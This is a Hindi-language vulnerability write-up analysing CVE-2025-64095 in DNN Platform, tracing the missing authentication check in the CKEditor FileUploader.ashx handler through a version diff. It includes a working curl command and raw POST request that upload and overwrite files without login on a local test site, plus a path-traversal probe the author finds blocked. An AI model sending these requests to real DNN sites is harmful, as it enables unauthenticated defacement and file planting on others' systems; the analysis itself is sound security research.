
DNN अपर्याप्त एक्सेस नियंत्रण का POC - इमेज अपलोड साइट सामग्री को ओवरराइट करने की अनुमति देता है
DNN अपर्याप्त एक्सेस नियंत्रण का POC - इमेज अपलोड साइट कंटेंट को ओवरराइट करने की अनुमति देता है
मैं एक साधारण व्यक्ति हूँ, मुझे cvss:10/10 दिखता है और मैं घुस जाता हूँ xD
मैंने यह नया CVE CVE-2025-64095 देखा — DNN अपर्याप्त एक्सेस नियंत्रण - इमेज अपलोड साइट कंटेंट को ओवरराइट करने की अनुमति देता है
डिफ़ॉल्ट HTML एडिटर प्रोवाइडर बिना प्रमाणीकरण के फ़ाइल अपलोड की अनुमति देता है और इमेजें मौजूदा फ़ाइलों को ओवरराइट कर सकती हैं।
विवरण एक अनप्रमाणित उपयोगकर्ता मौजूदा फ़ाइलों को अपलोड और प्रतिस्थापित कर सकता है, जिससे वेबसाइट विरूपित की जा सकती है और अन्य समस्या के साथ संयुक्त होकर XSS पेलोड इंजेक्ट किए जा सकते हैं।
https://nvd.nist.gov/vuln/detail/CVE-2025-64095
बेस स्कोर: 10.0 CRITICAL 🤷♂️
पता चला कि आखिरकार यह इतना critical नहीं है, क्योंकि आप ASP, ASPX..etc जैसा वेब शेल अपलोड नहीं कर सकते (कम से कम डिफ़ॉल्ट कॉन्फ़िगरेशन में तो) — आप केवल इमेज + SVG ही अपलोड कर सकते हैं। आप केवल वेब सर्वर पर मौजूद फ़ाइलों को ही अपलोड/ओवरराइट कर सकते हैं, वह भी एक विशिष्ट पथ में; आप रूट निर्देशिका में फ़ाइल अपलोड भी नहीं कर सकते।
चूँकि 10.1.1 से पहले के सभी संस्करण कमजोर हैं, मैंने DNN Platform 10.1.0 (अंतिम कमजोर संस्करण ) लिया।
डिफ थोड़ा बड़ा है, मुझे केवल उस कोड में दिलचस्पी है जो फ़ाइल अपलोड से संबंधित है, जो Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx से संबंधित है। इसलिए मैंने यह समझने के लिए कि 10.1.1 में क्या (यदि कुछ भी) ठीक किया गया था, इस विशिष्ट फ़ाइल की तुलना दोनों संस्करणों के बीच करने पर ध्यान केंद्रित किया।
मैं आपको बताता हूँ कि मुझे क्या मिला और मैंने इस कमजोरी की खोज कैसे की।
जब मैंने पहली बार दोनों संस्करणों को देखना शुरू किया, तो समग्र डिफ में DNN Platform 10.1.0 और 10.1.1 के बीच 158 बदली हुई फ़ाइलें दिखीं। अधिकतर केवल सुधार थे - file-scoped namespaces. लेकिन मुझे यह जानना था कि फ़ाइल अपलोड कमजोरी को पैच किया गया है या नहीं।
कमजोर फ़ाइल Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx.cs पर स्थित है - यह CKEditor फ़ाइल अपलोड हैंडलर है। यह फ़ाइल अपलोड कमजोरियों के लिए एक सामान्य आक्रमण सतह है।
10.1.0 में ProcessRequest विधि को देखते हुए:
public void ProcessRequest(HttpContext context)
{
context.Response.AddHeader("Pragma", "no-cache");
context.Response.AddHeader("Cache-Control", "private, no-cache");
this.HandleMethod(context);
}
बस यही है। इसमें सचमुच कोई प्रमाणीकरण जाँच नहीं है। कोई भी व्यक्ति इस एंडपॉइंट पर अनुरोध भेजकर फ़ाइलें अपलोड कर सकता है — कोई सत्र जाँच नहीं, कुछ नहीं।
प्रवाह इस प्रकार है:
FileUploader.ashx पर एक POST अनुरोध भेजता हैProcessRequest को कॉल किया जाता हैHandleMethod को कॉल करता है, जो UploadFile पर रूट करता हैUploadFile UploadWholeFile को कॉल करता हैUploadWholeFile बिना यह जाँचे कि उपयोगकर्ता लॉग इन है या नहीं, अपलोड को संसाधित करता हैपूरी अपलोड लॉजिक UploadWholeFile में लगभग लाइन 230 से शुरू होती है। मैं आपको महत्वपूर्ण हिस्से दिखाता हूँ:
private void UploadWholeFile(HttpContext context, List<FilesUploadStatus> statuses)
{
for (int i = 0; i < context.Request.Files.Count; i++)
{
var file = context.Request.Files[i];
var fileName = Path.GetFileName(file.FileName); // Line 236
// Convert Unicode Chars
fileName = Utility.ConvertUnicodeChars(fileName);
// Replace dots in the name with underscores (only one dot can be there... security issue).
fileName = Regex.Replace(fileName, @"\.(?![^.]*$), "_", RegexOptions.None);
// Check for Illegal Chars
if (Utility.ValidateFileName(fileName))
{
fileName = Utility.CleanFileName(fileName);
}
// ... more processing ...
// Rename File if Exists
if (!this.OverrideFiles) // Line 268
{
var counter = 0;
while (File.Exists(Path.Combine(this.StorageFolder.PhysicalPath, fileName)))
{
counter++;
fileName = string.Format("{0}_{1}{2}", fileNameNoExtenstion, counter, Path.GetExtension(file.FileName));
}
}
var contentType = FileContentTypeManager.Instance.GetContentType(Path.GetExtension(fileName));
var userId = UserController.Instance.GetCurrentUserInfo().UserID; // Line 284 - gets userId but never checked!
if (!contentType.StartsWith("image", StringComparison.InvariantCultureIgnoreCase))
{
FileManager.Instance.AddFile(this.StorageFolder, fileName, file.InputStream, this.OverrideFiles, true, contentType, userId);
}
else
{
// Image resizing logic follows...
}
}
}
ध्यान दें कि लाइन 284 पर, वे userId प्राप्त करने के लिए UserController.Instance.GetCurrentUserInfo() को कॉल करते हैं, लेकिन वे कभी वास्तव में यह सत्यापित नहीं करते कि उपयोगकर्ता प्रमाणित है या नहीं। यदि आप लॉग इन नहीं हैं, तो यह केवल null या anonymous उपयोगकर्ता लौटाता है, लेकिन अपलोड फिर भी जारी रहता है।
साथ ही लाइन 268 पर OverrideFiles प्रॉपर्टी पर ध्यान दें:
private bool OverrideFiles =>
HttpContext.Current.Request["overrideFiles"].Equals("1")
|| HttpContext.Current.Request["overrideFiles"].Equals("true", StringComparison.InvariantCultureIgnoreCase);
यह उपयोगकर्ता-नियंत्रित पैरामीटर है! कोई भी अपने अपलोड अनुरोध में overrideFiles=1 सेट करके मौजूदा फ़ाइलों को ओवरराइट कर सकता है।
मैंने एक सरल curl कमांड बनाकर इसका परीक्षण किया:
C:\Users\pwn\Desktop>curl -x http://127.0.0.1:8080 -X POST http://mysite.dnndev.me/Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx -F "[email protected]" -F "storageFolderID=1" -F "portalID=0" -F "overrideFiles=1" -F "mode=Default"
[{"group":null,"name":"poc.png","type":"image/png","size":0,"progress":"1.0","url":"/FileTransferHandler.ashx?f=poc.png","thumbnail_url":null,"delete_url":null,"delete_type":null,"error":null}]
कच्चा POST अनुरोध
POST /Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx HTTP/1.1
Host: mysite.dnndev.me
User-Agent: curl/8.13.0
Accept: */*
Content-Length: 626
Content-Type: multipart/form-data; boundary=------------------------7RKjWLYyrhvUn2AA31fJQ3
Connection: keep-alive
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="file"; filename="poc.png"
Content-Type: image/png
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="storageFolderID"
1
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="portalID"
0
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="overrideFiles"
1
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="mode"
Default
--------------------------7RKjWLYyrhvUn2AA31fJQ3--
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 194
[{"group":null,"name":"poc.png","type":"image/png","size":10,"progress":"1.0","url":"/FileTransferHandler.ashx?f=poc.png","thumbnail_url":null,"delete_url":null,"delete_type":null,"error":null}]
फ़ाइल सफलतापूर्वक अपलोड हो गई। मैंने http://mysite.dnndev.me/Portals/_default/poc.png की जाँच करके इसे सत्यापित किया, और वाकई, वह वहाँ थी।
और फ़ाइल \Portals_default निर्देशिका में होस्ट है :
PS C:\Users\pwn\Documents\site\web02> Get-ChildItem -Path . -Filter "poc.png" -Recurse -File
Directory: C:\Users\pwn\Documents\site\web02\Website\Portals\_default
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 10/31/2025 4:16 PM 0 poc.png
PS C:\Users\pwn\Documents\site\web02>
मैं रूट निर्देशिका में फ़ाइलों को फिर से लिखने के लिए पाथ ट्रैवर्सल की तलाश कर रहा था , लेकिन सुरक्षा वास्तव में काफी अच्छी है। देख रहा हूँ
var fileName = Path.GetFileName(file.FileName);
यह सही ढंग से काम करता है। Path.GetFileName() स्वचालित रूप से किसी भी डायरेक्टरी ट्रैवर्सल अनुक्रम को हटा देता है। इसलिए यदि कोई ../../../foo नाम की फ़ाइल अपलोड करने की कोशिश करता है, तो वह सिर्फ foo बन जाती है।
कोड में "DNN Platform\Providers\HtmlEditorProviders\DNNConnect.CKE\Browser\FileUploader.ashx.cs" में अतिरिक्त सुरक्षा भी है।
private void UploadWholeFile(HttpContext context, List<FilesUploadStatus> statuses)
{
for (var i = 0; i < context.Request.Files.Count; i++)
{
var file = context.Request.Files[i];
if (file is null)
{
continue;
}
var fileName = Path.GetFileName(file.FileName);
if (!string.IsNullOrEmpty(fileName))
{
// Convert Unicode Chars
fileName = Utility.ConvertUnicodeChars(fileName);
// Replace dots in the name with underscores (only one dot can be there... security issue).
fileName = Regex.Replace(fileName, @"\.(?![^.]*$)", "_", RegexOptions.None);
// Check for Illegal Chars
if (Utility.ValidateFileName(fileName))
{
fileName = Utility.CleanFileName(fileName);
}
}
else
{
throw new HttpRequestValidationException("File does not have a name");
}
if (fileName.Length > 220)
{
fileName = fileName.Substring(fileName.Length - 220);
}
// file names starting with '\\' may be used for manipulating the filepath and explore vulnerabilities
fileName = Regex.Replace(fileName, @"^\\+", string.Empty);
var fileNameNoExtenstion = Path.GetFileNameWithoutExtension(fileName);
// Rename File if Exists
if (!OverrideFiles)
{
var counter = 0;
while (File.Exists(Path.Combine(StorageFolder.PhysicalPath, fileName)))
{
counter++;
fileName = string.Format(
"{0}_{1}{2}",
fileNameNoExtenstion,
counter,
Path.GetExtension(file.FileName));
}
}
जैसा कि आप कोड में देख सकते हैं // file names starting with '\\' may be used for manipulating the filepath and explore vulnerabilities fileName = Regex.Replace(fileName, @"^\\+", string.Empty);
जैसा कि मैंने कहा, मुझे नहीं लगता कि यह कोई critical कमजोरी है आखिरकार